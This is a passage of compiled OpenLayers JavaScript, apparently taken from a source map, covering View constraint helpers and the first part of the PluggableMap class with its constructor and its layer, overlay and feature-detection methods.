nearest resolution will be used. If 1, the nearest lower resolution\n * will be used. If -1, the nearest higher resolution will be used.\n * @return {number|undefined} Valid resolution.\n */\n View.prototype.getConstrainedResolution = function (targetResolution, opt_direction) {\n var direction = opt_direction || 0;\n var size = this.getViewportSize_(this.getRotation());\n return this.constraints_.resolution(targetResolution, direction, size);\n };\n return View;\n}(BaseObject));\n/**\n * @param {Function} callback Callback.\n * @param {*} returnValue Return value.\n */\nfunction animationCallback(callback, returnValue) {\n setTimeout(function () {\n callback(returnValue);\n }, 0);\n}\n/**\n * @param {ViewOptions} options View options.\n * @return {import(\"./centerconstraint.js\").Type} The constraint.\n */\nexport function createCenterConstraint(options) {\n if (options.extent !== undefined) {\n var smooth = options.smoothExtentConstraint !== undefined\n ? options.smoothExtentConstraint\n : true;\n return createExtent(options.extent, options.constrainOnlyCenter, smooth);\n }\n var projection = createProjection(options.projection, 'EPSG:3857');\n if (options.multiWorld !== true && projection.isGlobal()) {\n var extent = projection.getExtent().slice();\n extent[0] = -Infinity;\n extent[2] = Infinity;\n return createExtent(extent, false, false);\n }\n return centerNone;\n}\n/**\n * @param {ViewOptions} options View options.\n * @return {{constraint: import(\"./resolutionconstraint.js\").Type, maxResolution: number,\n * minResolution: number, minZoom: number, zoomFactor: number}} The constraint.\n */\nexport function createResolutionConstraint(options) {\n var resolutionConstraint;\n var maxResolution;\n var minResolution;\n // TODO: move these to be ol constants\n // see https://github.com/openlayers/openlayers/issues/2076\n var defaultMaxZoom = 28;\n var defaultZoomFactor = 2;\n var minZoom = options.minZoom !== undefined ? options.minZoom : DEFAULT_MIN_ZOOM;\n var maxZoom = options.maxZoom !== undefined ? options.maxZoom : defaultMaxZoom;\n var zoomFactor = options.zoomFactor !== undefined ? options.zoomFactor : defaultZoomFactor;\n var multiWorld = options.multiWorld !== undefined ? options.multiWorld : false;\n var smooth = options.smoothResolutionConstraint !== undefined\n ? options.smoothResolutionConstraint\n : true;\n var showFullExtent = options.showFullExtent !== undefined ? options.showFullExtent : false;\n var projection = createProjection(options.projection, 'EPSG:3857');\n var projExtent = projection.getExtent();\n var constrainOnlyCenter = options.constrainOnlyCenter;\n var extent = options.extent;\n if (!multiWorld && !extent && projection.isGlobal()) {\n constrainOnlyCenter = false;\n extent = projExtent;\n }\n if (options.resolutions !== undefined) {\n var resolutions = options.resolutions;\n maxResolution = resolutions[minZoom];\n minResolution =\n resolutions[maxZoom] !== undefined\n ? resolutions[maxZoom]\n : resolutions[resolutions.length - 1];\n if (options.constrainResolution) {\n resolutionConstraint = createSnapToResolutions(resolutions, smooth, !constrainOnlyCenter && extent, showFullExtent);\n }\n else {\n resolutionConstraint = createMinMaxResolution(maxResolution, minResolution, smooth, !constrainOnlyCenter && extent, showFullExtent);\n }\n }\n else {\n // calculate the default min and max resolution\n var size = !projExtent\n ? // use an extent that can fit the whole world if need be\n (360 * METERS_PER_UNIT[Units.DEGREES]) / projection.getMetersPerUnit()\n : Math.max(getWidth(projExtent), getHeight(projExtent));\n var defaultMaxResolution = size / DEFAULT_TILE_SIZE / Math.pow(defaultZoomFactor, DEFAULT_MIN_ZOOM);\n var defaultMinResolution = defaultMaxResolution /\n Math.pow(defaultZoomFactor, defaultMaxZoom - DEFAULT_MIN_ZOOM);\n // user provided maxResolution takes precedence\n maxResolution = options.maxResolution;\n if (maxResolution !== undefined) {\n minZoom = 0;\n }\n else {\n maxResolution = defaultMaxResolution / Math.pow(zoomFactor, minZoom);\n }\n // user provided minResolution takes precedence\n minResolution = options.minResolution;\n if (minResolution === undefined) {\n if (options.maxZoom !== undefined) {\n if (options.maxResolution !== undefined) {\n minResolution = maxResolution / Math.pow(zoomFactor, maxZoom);\n }\n else {\n minResolution = defaultMaxResolution / Math.pow(zoomFactor, maxZoom);\n }\n }\n else {\n minResolution = defaultMinResolution;\n }\n }\n // given discrete zoom levels, minResolution may be different than provided\n maxZoom =\n minZoom +\n Math.floor(Math.log(maxResolution / minResolution) / Math.log(zoomFactor));\n minResolution = maxResolution / Math.pow(zoomFactor, maxZoom - minZoom);\n if (options.constrainResolution) {\n resolutionConstraint = createSnapToPower(zoomFactor, maxResolution, minResolution, smooth, !constrainOnlyCenter && extent, showFullExtent);\n }\n else {\n resolutionConstraint = createMinMaxResolution(maxResolution, minResolution, smooth, !constrainOnlyCenter && extent, showFullExtent);\n }\n }\n return {\n constraint: resolutionConstraint,\n maxResolution: maxResolution,\n minResolution: minResolution,\n minZoom: minZoom,\n zoomFactor: zoomFactor,\n };\n}\n/**\n * @param {ViewOptions} options View options.\n * @return {import(\"./rotationconstraint.js\").Type} Rotation constraint.\n */\nexport function createRotationConstraint(options) {\n var enableRotation = options.enableRotation !== undefined ? options.enableRotation : true;\n if (enableRotation) {\n var constrainRotation = options.constrainRotation;\n if (constrainRotation === undefined || constrainRotation === true) {\n return createSnapToZero();\n }\n else if (constrainRotation === false) {\n return rotationNone;\n }\n else if (typeof constrainRotation === 'number') {\n return createSnapToN(constrainRotation);\n }\n else {\n return rotationNone;\n }\n }\n else {\n return disable;\n }\n}\n/**\n * Determine if an animation involves no view change.\n * @param {Animation} animation The animation.\n * @return {boolean} The animation involves no view change.\n */\nexport function isNoopAnimation(animation) {\n if (animation.sourceCenter && animation.targetCenter) {\n if (!coordinatesEqual(animation.sourceCenter, animation.targetCenter)) {\n return false;\n }\n }\n if (animation.sourceResolution !== animation.targetResolution) {\n return false;\n }\n if (animation.sourceRotation !== animation.targetRotation) {\n return false;\n }\n return true;\n}\n/**\n * @param {import(\"./coordinate.js\").Coordinate} coordinate Coordinate.\n * @param {import(\"./size.js\").Size} size Box pixel size.\n * @param {import(\"./pixel.js\").Pixel} position Position on the view to center on.\n * @param {number} resolution Resolution.\n * @param {number} rotation Rotation.\n * @return {import(\"./coordinate.js\").Coordinate} Shifted center.\n */\nfunction calculateCenterOn(coordinate, size, position, resolution, rotation) {\n // calculate rotated position\n var cosAngle = Math.cos(-rotation);\n var sinAngle = Math.sin(-rotation);\n var rotX = coordinate[0] * cosAngle - coordinate[1] * sinAngle;\n var rotY = coordinate[1] * cosAngle + coordinate[0] * sinAngle;\n rotX += (size[0] / 2 - position[0]) * resolution;\n rotY += (position[1] - size[1] / 2) * resolution;\n // go back to original angle\n sinAngle = -sinAngle; // go back to original rotation\n var centerX = rotX * cosAngle - rotY * sinAngle;\n var centerY = rotY * cosAngle + rotX * sinAngle;\n return [centerX, centerY];\n}\nexport default View;\n//# sourceMappingURL=View.js.map","var __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\n/**\n * @module ol/PluggableMap\n */\nimport BaseObject from './Object.js';\nimport Collection from './Collection.js';\nimport CollectionEventType from './CollectionEventType.js';\nimport EventType from './events/EventType.js';\nimport Layer from './layer/Layer.js';\nimport LayerGroup, { GroupEvent } from './layer/Group.js';\nimport MapBrowserEvent from './MapBrowserEvent.js';\nimport MapBrowserEventHandler from './MapBrowserEventHandler.js';\nimport MapBrowserEventType from './MapBrowserEventType.js';\nimport MapEvent from './MapEvent.js';\nimport MapEventType from './MapEventType.js';\nimport MapProperty from './MapProperty.js';\nimport ObjectEventType from './ObjectEventType.js';\nimport PointerEventType from './pointer/EventType.js';\nimport RenderEventType from './render/EventType.js';\nimport TileQueue, { getTilePriority } from './TileQueue.js';\nimport View from './View.js';\nimport ViewHint from './ViewHint.js';\nimport { DEVICE_PIXEL_RATIO, PASSIVE_EVENT_LISTENERS } from './has.js';\nimport { TRUE } from './functions.js';\nimport { apply as applyTransform, create as createTransform, } from './transform.js';\nimport { assert } from './asserts.js';\nimport { clone, createOrUpdateEmpty, equals, getForViewAndSize, isEmpty, } from './extent.js';\nimport { fromUserCoordinate, toUserCoordinate } from './proj.js';\nimport { getUid } from './util.js';\nimport { hasArea } from './size.js';\nimport { listen, unlistenByKey } from './events.js';\nimport { removeNode } from './dom.js';\n/**\n * State of the current frame. Only `pixelRatio`, `time` and `viewState` should\n * be used in applications.\n * @typedef {Object} FrameState\n * @property {number} pixelRatio The pixel ratio of the frame.\n * @property {number} time The time when rendering of the frame was requested.\n * @property {import(\"./View.js\").State} viewState The state of the current view.\n * @property {boolean} animate Animate.\n * @property {import(\"./transform.js\").Transform} coordinateToPixelTransform CoordinateToPixelTransform.\n * @property {import(\"rbush\").default} declutterTree DeclutterTree.\n * @property {null|import(\"./extent.js\").Extent} extent Extent.\n * @property {import(\"./extent.js\").Extent} [nextExtent] Next extent during an animation series.\n * @property {number} index Index.\n * @property {Array<import(\"./layer/Layer.js\").State>} layerStatesArray LayerStatesArray.\n * @property {number} layerIndex LayerIndex.\n * @property {import(\"./transform.js\").Transform} pixelToCoordinateTransform PixelToCoordinateTransform.\n * @property {Array<PostRenderFunction>} postRenderFunctions PostRenderFunctions.\n * @property {import(\"./size.js\").Size} size Size.\n * @property {TileQueue} tileQueue TileQueue.\n * @property {!Object<string, Object<string, boolean>>} usedTiles UsedTiles.\n * @property {Array<number>} viewHints ViewHints.\n * @property {!Object<string, Object<string, boolean>>} wantedTiles WantedTiles.\n * @property {string} mapId The id of the map.\n * @property {Object<string, boolean>} renderTargets Identifiers of previously rendered elements.\n */\n/**\n * @typedef {function(PluggableMap, ?FrameState): any} PostRenderFunction\n */\n/**\n * @typedef {Object} AtPixelOptions\n * @property {undefined|function(import(\"./layer/Layer.js\").default<import(\"./source/Source\").default>): boolean} [layerFilter] Layer filter\n * function. The filter function will receive one argument, the\n * {@link module:ol/layer/Layer~Layer layer-candidate} and it should return a boolean value.\n * Only layers which are visible and for which this function returns `true`\n * will be tested for features. By default, all visible layers will be tested.\n * @property {number} [hitTolerance=0] Hit-detection tolerance in css pixels. Pixels\n * inside the radius around the given position will be checked for features.\n * @property {boolean} [checkWrapped=true] Check-Wrapped Will check for for wrapped geometries inside the range of\n * +/- 1 world width. Works only if a projection is used that can be wrapped.\n */\n/**\n * @typedef {Object} MapOptionsInternal\n * @property {Collection<import(\"./control/Control.js\").default>} [controls] Controls.\n * @property {Collection<import(\"./interaction/Interaction.js\").default>} [interactions] Interactions.\n * @property {HTMLElement|Document} keyboardEventTarget KeyboardEventTarget.\n * @property {Collection<import(\"./Overlay.js\").default>} overlays Overlays.\n * @property {Object<string, *>} values Values.\n */\n/**\n * @typedef {import(\"./ObjectEventType\").Types|'change:layergroup'|'change:size'|'change:target'|'change:view'} MapObjectEventTypes\n */\n/***\n * @template Return\n * @typedef {import(\"./Observable\").OnSignature<import(\"./Observable\").EventTypes, import(\"./events/Event.js\").default, Return> &\n * import(\"./Observable\").OnSignature<MapObjectEventTypes, import(\"./Object\").ObjectEvent, Return> &\n * import(\"./Observable\").OnSignature<import(\"./MapBrowserEventType\").Types, import(\"./MapBrowserEvent\").default, Return> &\n * import(\"./Observable\").OnSignature<import(\"./MapEventType\").Types, import(\"./MapEvent\").default, Return> &\n * import(\"./Observable\").OnSignature<import(\"./render/EventType\").MapRenderEventTypes, import(\"./render/Event\").default, Return> &\n * import(\"./Observable\").CombinedOnSignature<import(\"./Observable\").EventTypes|MapObjectEventTypes|\n * import(\"./MapBrowserEventType\").Types|import(\"./MapEventType\").Types|\n * import(\"./render/EventType\").MapRenderEventTypes, Return>} PluggableMapOnSignature\n */\n/**\n * Object literal with config options for the map.\n * @typedef {Object} MapOptions\n * @property {Collection<import(\"./control/Control.js\").default>|Array<import(\"./control/Control.js\").default>} [controls]\n * Controls initially added to the map. If not specified,\n * {@link module:ol/control.defaults} is used.\n * @property {number} [pixelRatio=window.devicePixelRatio] The ratio between\n * physical pixels and device-independent pixels (dips) on the device.\n * @property {Collection<import(\"./interaction/Interaction.js\").default>|Array<import(\"./interaction/Interaction.js\").default>} [interactions]\n * Interactions that are initially added to the map. If not specified,\n * {@link module:ol/interaction.defaults} is used.\n * @property {HTMLElement|Document|string} [keyboardEventTarget] The element to\n * listen to keyboard events on. This determines when the `KeyboardPan` and\n * `KeyboardZoom` interactions trigger. For example, if this option is set to\n * `document` the keyboard interactions will always trigger. If this option is\n * not specified, the element the library listens to keyboard events on is the\n * map target (i.e. the user-provided div for the map). If this is not\n * `document`, the target element needs to be focused for key events to be\n * emitted, requiring that the target element has a `tabindex` attribute.\n * @property {Array<import(\"./layer/Base.js\").default>|Collection<import(\"./layer/Base.js\").default>|LayerGroup} [layers]\n * Layers. If this is not defined, a map with no layers will be rendered. Note\n * that layers are rendered in the order supplied, so if you want, for example,\n * a vector layer to appear on top of a tile layer, it must come after the tile\n * layer.\n * @property {number} [maxTilesLoading=16] Maximum number tiles to load\n * simultaneously.\n * @property {number} [moveTolerance=1] The minimum distance in pixels the\n * cursor must move to be detected as a map move event instead of a click.\n * Increasing this value can make it easier to click on the map.\n * @property {Collection<import(\"./Overlay.js\").default>|Array<import(\"./Overlay.js\").default>} [overlays]\n * Overlays initially added to the map. By default, no overlays are added.\n * @property {HTMLElement|string} [target] The container for the map, either the\n * element itself or the `id` of the element. If not specified at construction\n * time, {@link module:ol/Map~Map#setTarget} must be called for the map to be\n * rendered. If passed by element, the container can be in a secondary document.\n * @property {View|Promise<import(\"./View.js\").ViewOptions>} [view] The map's view. No layer sources will be\n * fetched unless this is specified at construction time or through\n * {@link module:ol/Map~Map#setView}.\n */\n/**\n * @param {import(\"./layer/Base.js\").default} layer Layer.\n */\nfunction removeLayerMapProperty(layer) {\n if (layer instanceof Layer) {\n layer.setMapInternal(null);\n return;\n }\n if (layer instanceof LayerGroup) {\n layer.getLayers().forEach(removeLayerMapProperty);\n }\n}\n/**\n * @param {import(\"./layer/Base.js\").default} layer Layer.\n * @param {PluggableMap} map Map.\n */\nfunction setLayerMapProperty(layer, map) {\n if (layer instanceof Layer) {\n layer.setMapInternal(map);\n return;\n }\n if (layer instanceof LayerGroup) {\n var layers = layer.getLayers().getArray();\n for (var i = 0, ii = layers.length; i < ii; ++i) {\n setLayerMapProperty(layers[i], map);\n }\n }\n}\n/**\n * @fires import(\"./MapBrowserEvent.js\").MapBrowserEvent\n * @fires import(\"./MapEvent.js\").MapEvent\n * @fires import(\"./render/Event.js\").default#precompose\n * @fires import(\"./render/Event.js\").default#postcompose\n * @fires import(\"./render/Event.js\").default#rendercomplete\n * @api\n */\nvar PluggableMap = /** @class */ (function (_super) {\n __extends(PluggableMap, _super);\n /**\n * @param {MapOptions} options Map options.\n */\n function PluggableMap(options) {\n var _this = _super.call(this) || this;\n /***\n * @type {PluggableMapOnSignature<import(\"./events\").EventsKey>}\n */\n _this.on;\n /***\n * @type {PluggableMapOnSignature<import(\"./events\").EventsKey>}\n */\n _this.once;\n /***\n * @type {PluggableMapOnSignature<void>}\n */\n _this.un;\n var optionsInternal = createOptionsInternal(options);\n /**\n * @private\n * @type {boolean|undefined}\n */\n _this.renderComplete_;\n /**\n * @private\n * @type {boolean}\n */\n _this.loaded_ = true;\n /** @private */\n _this.boundHandleBrowserEvent_ = _this.handleBrowserEvent.bind(_this);\n /**\n * @type {number}\n * @private\n */\n _this.maxTilesLoading_ =\n options.maxTilesLoading !== undefined ? options.maxTilesLoading : 16;\n /**\n * @private\n * @type {number}\n */\n _this.pixelRatio_ =\n options.pixelRatio !== undefined\n ? options.pixelRatio\n : DEVICE_PIXEL_RATIO;\n /**\n * @private\n * @type {*}\n */\n _this.postRenderTimeoutHandle_;\n /**\n * @private\n * @type {number|undefined}\n */\n _this.animationDelayKey_;\n /**\n * @private\n */\n _this.animationDelay_ = /** @this {PluggableMap} */ function () {\n this.animationDelayKey_ = undefined;\n this.renderFrame_(Date.now());\n }.bind(_this);\n /**\n * @private\n * @type {import(\"./transform.js\").Transform}\n */\n _this.coordinateToPixelTransform_ = createTransform();\n /**\n * @private\n * @type {import(\"./transform.js\").Transform}\n */\n _this.pixelToCoordinateTransform_ = createTransform();\n /**\n * @private\n * @type {number}\n */\n _this.frameIndex_ = 0;\n /**\n * @private\n * @type {?FrameState}\n */\n _this.frameState_ = null;\n /**\n * The extent at the previous 'moveend' event.\n * @private\n * @type {import(\"./extent.js\").Extent}\n */\n _this.previousExtent_ = null;\n /**\n * @private\n * @type {?import(\"./events.js\").EventsKey}\n */\n _this.viewPropertyListenerKey_ = null;\n /**\n * @private\n * @type {?import(\"./events.js\").EventsKey}\n */\n _this.viewChangeListenerKey_ = null;\n /**\n * @private\n * @type {?Array<import(\"./events.js\").EventsKey>}\n */\n _this.layerGroupPropertyListenerKeys_ = null;\n /**\n * @private\n * @type {!HTMLElement}\n */\n _this.viewport_ = document.createElement('div');\n _this.viewport_.className =\n 'ol-viewport' + ('ontouchstart' in window ? ' ol-touch' : '');\n _this.viewport_.style.position = 'relative';\n _this.viewport_.style.overflow = 'hidden';\n _this.viewport_.style.width = '100%';\n _this.viewport_.style.height = '100%';\n /**\n * @private\n * @type {!HTMLElement}\n */\n _this.overlayContainer_ = document.createElement('div');\n _this.overlayContainer_.style.position = 'absolute';\n _this.overlayContainer_.style.zIndex = '0';\n _this.overlayContainer_.style.width = '100%';\n _this.overlayContainer_.style.height = '100%';\n _this.overlayContainer_.style.pointerEvents = 'none';\n _this.overlayContainer_.className = 'ol-overlaycontainer';\n _this.viewport_.appendChild(_this.overlayContainer_);\n /**\n * @private\n * @type {!HTMLElement}\n */\n _this.overlayContainerStopEvent_ = document.createElement('div');\n _this.overlayContainerStopEvent_.style.position = 'absolute';\n _this.overlayContainerStopEvent_.style.zIndex = '0';\n _this.overlayContainerStopEvent_.style.width = '100%';\n _this.overlayContainerStopEvent_.style.height = '100%';\n _this.overlayContainerStopEvent_.style.pointerEvents = 'none';\n _this.overlayContainerStopEvent_.className = 'ol-overlaycontainer-stopevent';\n _this.viewport_.appendChild(_this.overlayContainerStopEvent_);\n /**\n * @private\n * @type {MapBrowserEventHandler}\n */\n _this.mapBrowserEventHandler_ = null;\n /**\n * @private\n * @type {number}\n */\n _this.moveTolerance_ = options.moveTolerance;\n /**\n * @private\n * @type {HTMLElement|Document}\n */\n _this.keyboardEventTarget_ = optionsInternal.keyboardEventTarget;\n /**\n * @private\n * @type {?Array<import(\"./events.js\").EventsKey>}\n */\n _this.targetChangeHandlerKeys_ = null;\n /**\n * @type {Collection<import(\"./control/Control.js\").default>}\n * @protected\n */\n _this.controls = optionsInternal.controls || new Collection();\n /**\n * @type {Collection<import(\"./interaction/Interaction.js\").default>}\n * @protected\n */\n _this.interactions = optionsInternal.interactions || new Collection();\n /**\n * @type {Collection<import(\"./Overlay.js\").default>}\n * @private\n */\n _this.overlays_ = optionsInternal.overlays;\n /**\n * A lookup of overlays by id.\n * @private\n * @type {Object<string, import(\"./Overlay.js\").default>}\n */\n _this.overlayIdIndex_ = {};\n /**\n * @type {import(\"./renderer/Map.js\").default|null}\n * @private\n */\n _this.renderer_ = null;\n /**\n * @private\n * @type {!Array<PostRenderFunction>}\n */\n _this.postRenderFunctions_ = [];\n /**\n * @private\n * @type {TileQueue}\n */\n _this.tileQueue_ = new TileQueue(_this.getTilePriority.bind(_this), _this.handleTileChange_.bind(_this));\n _this.addChangeListener(MapProperty.LAYERGROUP, _this.handleLayerGroupChanged_);\n _this.addChangeListener(MapProperty.VIEW, _this.handleViewChanged_);\n _this.addChangeListener(MapProperty.SIZE, _this.handleSizeChanged_);\n _this.addChangeListener(MapProperty.TARGET, _this.handleTargetChanged_);\n // setProperties will trigger the rendering of the map if the map\n // is \"defined\" already.\n _this.setProperties(optionsInternal.values);\n var map = _this;\n if (options.view && !(options.view instanceof View)) {\n options.view.then(function (viewOptions) {\n map.setView(new View(viewOptions));\n });\n }\n _this.controls.addEventListener(CollectionEventType.ADD, \n /**\n * @param {import(\"./Collection.js\").CollectionEvent} event CollectionEvent.\n */\n function (event) {\n event.element.setMap(this);\n }.bind(_this));\n _this.controls.addEventListener(CollectionEventType.REMOVE, \n /**\n * @param {import(\"./Collection.js\").CollectionEvent} event CollectionEvent.\n */\n function (event) {\n event.element.setMap(null);\n }.bind(_this));\n _this.interactions.addEventListener(CollectionEventType.ADD, \n /**\n * @param {import(\"./Collection.js\").CollectionEvent} event CollectionEvent.\n */\n function (event) {\n event.element.setMap(this);\n }.bind(_this));\n _this.interactions.addEventListener(CollectionEventType.REMOVE, \n /**\n * @param {import(\"./Collection.js\").CollectionEvent} event CollectionEvent.\n */\n function (event) {\n event.element.setMap(null);\n }.bind(_this));\n _this.overlays_.addEventListener(CollectionEventType.ADD, \n /**\n * @param {import(\"./Collection.js\").CollectionEvent} event CollectionEvent.\n */\n function (event) {\n this.addOverlayInternal_(\n /** @type {import(\"./Overlay.js\").default} */ (event.element));\n }.bind(_this));\n _this.overlays_.addEventListener(CollectionEventType.REMOVE, \n /**\n * @param {import(\"./Collection.js\").CollectionEvent} event CollectionEvent.\n */\n function (event) {\n var overlay = /** @type {import(\"./Overlay.js\").default} */ (event.element);\n var id = overlay.getId();\n if (id !== undefined) {\n delete this.overlayIdIndex_[id.toString()];\n }\n event.element.setMap(null);\n }.bind(_this));\n _this.controls.forEach(\n /**\n * @param {import(\"./control/Control.js\").default} control Control.\n * @this {PluggableMap}\n */\n function (control) {\n control.setMap(this);\n }.bind(_this));\n _this.interactions.forEach(\n /**\n * @param {import(\"./interaction/Interaction.js\").default} interaction Interaction.\n * @this {PluggableMap}\n */\n function (interaction) {\n interaction.setMap(this);\n }.bind(_this));\n _this.overlays_.forEach(_this.addOverlayInternal_.bind(_this));\n return _this;\n }\n /**\n * @abstract\n * @return {import(\"./renderer/Map.js\").default} The map renderer\n */\n PluggableMap.prototype.createRenderer = function () {\n throw new Error('Use a map type that has a createRenderer method');\n };\n /**\n * Add the given control to the map.\n * @param {import(\"./control/Control.js\").default} control Control.\n * @api\n */\n PluggableMap.prototype.addControl = function (control) {\n this.getControls().push(control);\n };\n /**\n * Add the given interaction to the map. If you want to add an interaction\n * at another point of the collection use `getInteractions()` and the methods\n * available on {@link module:ol/Collection~Collection}. This can be used to\n * stop the event propagation from the handleEvent function. The interactions\n * get to handle the events in the reverse order of this collection.\n * @param {import(\"./interaction/Interaction.js\").default} interaction Interaction to add.\n * @api\n */\n PluggableMap.prototype.addInteraction = function (interaction) {\n this.getInteractions().push(interaction);\n };\n /**\n * Adds the given layer to the top of this map. If you want to add a layer\n * elsewhere in the stack, use `getLayers()` and the methods available on\n * {@link module:ol/Collection~Collection}.\n * @param {import(\"./layer/Base.js\").default} layer Layer.\n * @api\n */\n PluggableMap.prototype.addLayer = function (layer) {\n var layers = this.getLayerGroup().getLayers();\n layers.push(layer);\n };\n /**\n * @param {import(\"./layer/Group.js\").GroupEvent} event The layer add event.\n * @private\n */\n PluggableMap.prototype.handleLayerAdd_ = function (event) {\n setLayerMapProperty(event.layer, this);\n };\n /**\n * Add the given overlay to the map.\n * @param {import(\"./Overlay.js\").default} overlay Overlay.\n * @api\n */\n PluggableMap.prototype.addOverlay = function (overlay) {\n this.getOverlays().push(overlay);\n };\n /**\n * This deals with map's overlay collection changes.\n * @param {import(\"./Overlay.js\").default} overlay Overlay.\n * @private\n */\n PluggableMap.prototype.addOverlayInternal_ = function (overlay) {\n var id = overlay.getId();\n if (id !== undefined) {\n this.overlayIdIndex_[id.toString()] = overlay;\n }\n overlay.setMap(this);\n };\n /**\n *\n * Clean up.\n */\n PluggableMap.prototype.disposeInternal = function () {\n this.controls.clear();\n this.interactions.clear();\n this.overlays_.clear();\n this.setTarget(null);\n _super.prototype.disposeInternal.call(this);\n };\n /**\n * Detect features that intersect a pixel on the viewport, and execute a\n * callback with each intersecting feature. Layers included in the detection can\n * be configured through the `layerFilter` option in `opt_options`.\n * @param {import(\"./pixel.js\").Pixel} pixel Pixel.\n * @param {function(import(\"./Feature.js\").FeatureLike, import(\"./layer/Layer.js\").default<import(\"./source/Source\").default>, import(\"./geom/SimpleGeometry.js\").default): T} callback Feature callback. The callback will be\n * called with two arguments. The first argument is one\n * {@link module:ol/Feature~Feature feature} or\n * {@link module:ol/render/Feature~RenderFeature render feature} at the pixel, the second is\n * the {@link module:ol/layer/Layer~Layer layer} of the feature and will be null for\n * unmanaged layers. To stop detection, callback functions can return a\n * truthy value.\n * @param {AtPixelOptions} [opt_options] Optional options.\n * @return {T|undefined} Callback result, i.e. the return value of last\n * callback execution, or the first truthy callback return value.\n * @template T\n * @api\n */\n PluggableMap.prototype.forEachFeatureAtPixel = function (pixel, callback, opt_options) {\n if (!this.frameState_ || !this.renderer_) {\n return;\n }\n var coordinate = this.getCoordinateFromPixelInternal(pixel);\n opt_options = opt_options !== undefined ? opt_options : {};\n var hitTolerance = opt_options.hitTolerance !== undefined ? opt_options.hitTolerance : 0;\n var layerFilter = opt_options.layerFilter !== undefined ? opt_options.layerFilter : TRUE;\n var checkWrapped = opt_options.checkWrapped !== false;\n return this.renderer_.forEachFeatureAtCoordinate(coordinate, this.frameState_, hitTolerance, checkWrapped, callback, null, layerFilter, null);\n };\n /**\n * Get all features that intersect a pixel on the viewport.\n * @param {import(\"./pixel.js\").Pixel} pixel Pixel.\n * @param {AtPixelOptions} [opt_options] Optional options.\n * @return {Array<import(\"./Feature.js\").FeatureLike>} The detected features or\n * an empty array if none were found.\n * @api\n */\n PluggableMap.prototype.getFeaturesAtPixel = function (pixel, opt_options) {\n var features = [];\n this.forEachFeatureAtPixel(pixel, function (feature) {\n features.push(feature);\n }, opt_options);\n return features;\n };\n /**\n * Get all layers from all layer groups.\n * @return {Array<import(\"./layer/Layer.js\").default>} Layers.\n * @api\n */\n PluggableMap.prototype.getAllLayers = function () {\n var layers = [];\n function addLayersFrom(layerGroup) {\n layerGroup.forEach(function (layer) {\n if (layer instanceof LayerGroup) {\n addLayersFrom(layer.getLayers());\n }\n else {\n layers.push(layer);\n }\n });\n }\n addLayersFrom(this.getLayers());\n return layers;\n };\n /**\n * Please the `layer.getData()` method for {@link module:ol/layer/Tile~TileLayer#getData tile layers} or\n * {@link module:ol/layer/Image~ImageLayer#getData image layers} instead of using this method.\n *\n * Detect layers that have a color value at a pixel on the viewport, and\n * execute a callback with each matching layer. Layers included in the\n * detection can be configured through `opt_layerFilter`.\n *\n * Note: In maps with more than one layer, this method will typically return pixel data\n * representing the composed image of all layers visible at the given pixel – because layers\n * will generally share the same rendering context. To force layers to render separately, and\n * to get pixel data representing only one layer at a time, you can assign each layer a unique\n * `className` in its constructor.\n *\n * @param {import(\"./pixel.js\").Pixel} pixel Pixel.\n * @param {function(this: S, import(\"./layer/Layer.js\").default, (Uint8ClampedArray|Uint8Array)): T} callback\n * Layer callback. This callback will receive two arguments: first is the\n * {@link module:ol/layer/Layer~Layer layer}, second argument is an array representing\n * [R, G, B, A] pixel values (0 - 255) and will be `null` for layer types\n * that do not currently support this argument. To stop detection, callback\n * functions can return a truthy value.\n * @param {AtPixelOptions} [opt_options] Configuration options.\n * @return {T|undefined} Callback result, i.e. the return value of last\n * callback execution, or the first truthy callback return value.\n * @template S,T\n * @api\n * @deprecated\n */\n PluggableMap.prototype.forEachLayerAtPixel = function (pixel, callback, opt_options) {\n if (!this.frameState_ || !this.renderer_) {\n return;\n }\n var options = opt_options || {};\n var hitTolerance = options.hitTolerance !== undefined ? options.hitTolerance : 0;\n var layerFilter = options.layerFilter || TRUE;\n return this.renderer_.forEachLayerAtPixel(pixel, this.frameState_, hitTolerance, callback, layerFilter);\n };\n /**\n * Detect if features intersect a pixel on the viewport. Layers included in the\n * detection can be configured through `opt_layerFilter`.\n * @param {import(\"./pixel.js\").Pixel} pixel Pixel.\n * @param {AtPixelOptions} [opt_options] Optional options.\n * @return {boolean} Is there a feature at the given pixel?\n * @api\n */\n PluggableMap.prototype.hasFeatureAtPixel = function (pixel, opt_options) {\n if (!this.frameState_ || !this.renderer_) {\n return false;\n }\n var coordinate = this.getCoordinateFromPixelInternal(pixel);\n opt_options = opt_options !== undefined ? opt_options : {};\n var layerFilter = opt_options.layerFilter !== undefined ? opt_options.layerFilter : TRUE;\n var hitTolerance = opt_options.hitTolerance !== undefined ? opt_options.hitTolerance : 0;\n var checkWrapped = opt_options.checkWrapped !== false;\n return this.renderer_.hasFeatureAtCoordinate(coordinate, this.frameState_, hitTolerance, checkWrapped, layerFilter, null);\n };\n /**\n * Returns the coordinate in user projection for a browser event.\n * @param {MouseEvent} event Event.\n * @return {import(\"./coordinate.js\").Coordinate} Coordinate.\n * @api\n */\n PluggableMap.prototype.getEventCoordinate = function (event) {\n return this.getCoordinateFromPixel(this.getEventPixel(event));\n };\n /**\n * Returns the coordinate in view projection for a browser event.\n * @param {MouseEvent} event Event.\n * @return {import(\"./coordinate.js\").Coordinate} Coordinate.\n */\n PluggableMap.prototype.getEventCoordinateInternal = function (event) {\n return this.getCoordinateFromPixelInternal(this.getEventPixel(event));\n };\n /**\n * Returns the map pixel position for a browser event relative to the viewport.\n * @param {UIEvent} event Event.\n * @return {import(\"./pixel.js\").Pixel} Pixel.\n * @api\n */\n PluggableMap.prototype.getEventPixel = function (event) {\n var viewportPosition = this.viewport_.getBoundingClientRect();\n var eventPosition = \n //FIXME Are we really calling this with a TouchEvent anywhere?\n 'changedTouches' in event\n ? /** @type {TouchEvent} */ (event).changedTouches[0]\n : /** @type {MouseEvent} */ (event);\n return [\n eventPosition.clientX - viewportPosition.left,\n eventPosition.clientY - viewportPosition.top,\n ];\n };\n /**\n * Get the target in which this map is rendered.\n * Note that this returns 